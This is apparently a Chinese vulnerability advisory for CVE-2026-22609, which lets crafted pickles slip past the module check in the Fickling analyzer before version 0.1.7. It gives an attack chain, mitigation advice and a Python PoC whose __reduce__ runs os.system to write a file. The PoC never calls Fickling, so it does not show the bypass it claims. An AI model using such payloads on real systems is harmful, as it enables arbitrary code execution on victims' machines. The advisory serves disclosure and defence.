CVE-2026-22609 CVSS 7.8 高危

CVE-2026-22609 Fickling静态分析器绕过高风险模块检测漏洞

披露日期: 2026-01-10

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-22609

漏洞类型

安全绕过/静态分析绕过

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Fickling

漏洞概述

Fickling是一个Python pickle反编译器和静态分析工具。该工具用于检测恶意pickle文件中的不安全代码。然而在0.1.7版本之前，Fickling的unsafe_imports()方法存在安全漏洞，无法正确标记多个可用于任意代码执行的高风险Python模块。攻击者可以利用这个漏洞构造恶意pickle文件，导入这些被遗漏的危险模块，从而绕过Fickling的主要静态安全检查机制，执行任意代码。由于Fickling通常被用作Python应用的安全防护层，此漏洞可能导致依赖该工具进行安全检测的系统面临严重的代码执行风险。该漏洞已在0.1.7版本中得到修复。

技术细节

Fickling的静态分析器通过unsafe_imports()方法检查pickle文件中导入的模块，识别潜在的危险操作。该方法维护了一个高风险模块列表，用于判断pickle是否包含恶意代码。在0.1.7之前的版本中，这个列表不完整，缺少了多个可用于代码执行的标准库模块。攻击者可以构造包含这些被遗漏模块的恶意pickle文件，例如使用subprocess、os、pty等模块来执行系统命令或启动交互式shell。由于这些模块未被标记为不安全，Fickling会将其判定为安全文件，从而绕过静态分析检查。恶意pickle可以通过钓鱼邮件、恶意文件上传或供应链攻击等途径传递给受害者。

攻击链分析

STEP 1

步骤1

攻击者识别Fickling 0.1.7之前版本中unsafe_imports()方法未覆盖的高风险Python模块

STEP 2

步骤2

攻击者构造恶意pickle文件，包含被遗漏的危险模块调用（如os.system、subprocess等）

STEP 3

步骤3

恶意pickle文件被传递给目标系统，Fickling静态分析将其判定为安全

STEP 4

步骤4

目标系统反序列化恶意pickle，触发__reduce__或类似方法执行任意代码

STEP 5

步骤5

攻击者获得系统命令执行权限，可进行数据窃取、持久化控制等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-22609 PoC - Malicious pickle exploiting unflagged modules
# This pickle uses modules not flagged by Fickling's unsafe_imports()
import pickle
import os
import base64

# Payload that uses os module (which may not be flagged)
class MaliciousPayload:
    def __reduce__(self):
        # Using os.system to execute arbitrary commands
        cmd = "whoami > /tmp/pwned.txt"
        return (os.system, (cmd,))

# Create the malicious pickle
malicious_data = pickle.dumps(MaliciousPayload())

# Bypass Fickling analysis
print(f"Malicious pickle size: {len(malicious_data)} bytes")
print("Fickling may not flag this as unsafe due to incomplete module list")

# Alternative payload using subprocess (if not flagged)
# import subprocess
# class RCEPayload:
#     def __reduce__(self):
#         return (subprocess.check_output, (['id'],))

# Save for later use
with open('malicious.pkl', 'wb') as f:
    f.write(malicious_data)

# To execute:
# pickle.load(open('malicious.pkl', 'rb'))

影响范围

Fickling < 0.1.7

防御指南

临时缓解措施

立即将Fickling升级到0.1.7版本以修复unsafe_imports()方法的模块检测不完整问题。对于无法立即升级的情况，应避免对来源不明的pickle文件进行反序列化操作，并考虑使用Python的 RestrictedUnpickler 或配置安全策略限制pickle的反序列化行为。同时建议结合运行时监控和异常检测来识别潜在的恶意反序列化活动。

参考链接

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